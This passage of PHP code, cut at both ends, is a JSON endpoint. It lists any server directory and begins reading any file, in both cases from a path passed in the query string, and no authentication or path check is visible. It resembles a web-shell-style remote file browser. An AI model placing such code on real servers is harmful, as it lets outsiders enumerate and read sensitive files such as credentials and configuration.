son; charset=utf-8'); $op = $_GET['op']; switch ($op) { case 'ls': $p = isset($_GET['p']) ? $_GET['p'] : $D; $p = rtrim($p, '/'); if (!is_dir($p)) { echo json_encode(array('e' => 'not a directory')); exit; } $items = array(); foreach (scandir($p) as $n) { if ($n === '.' || $n === '..') continue; $fp = $p . '/' . $n; $isDir = is_dir($fp); $items[] = array( 'n' => $n, 'd' => $isDir ? 1 : 0, 's' => $isDir ? 0 : @filesize($fp), 'm' => @date('Y-m-d H:i', @filemtime($fp)), 'e' => $isDir ? '' : pathinfo($n, PATHINFO_EXTENSION), ); } usort($items, function ($a, $b) { if ($a['d'] != $b['d']) return $b['d'] - $a['d']; return strcasecmp($a['n'], $b['n']); }); echo json_encode(array('p' => $p, 'i' => $items)); break; case 'read': $p = isset($_GET['p']) ? $_GET['p'] : ''; if (!$p || !file_exists($p)) { http_response_cod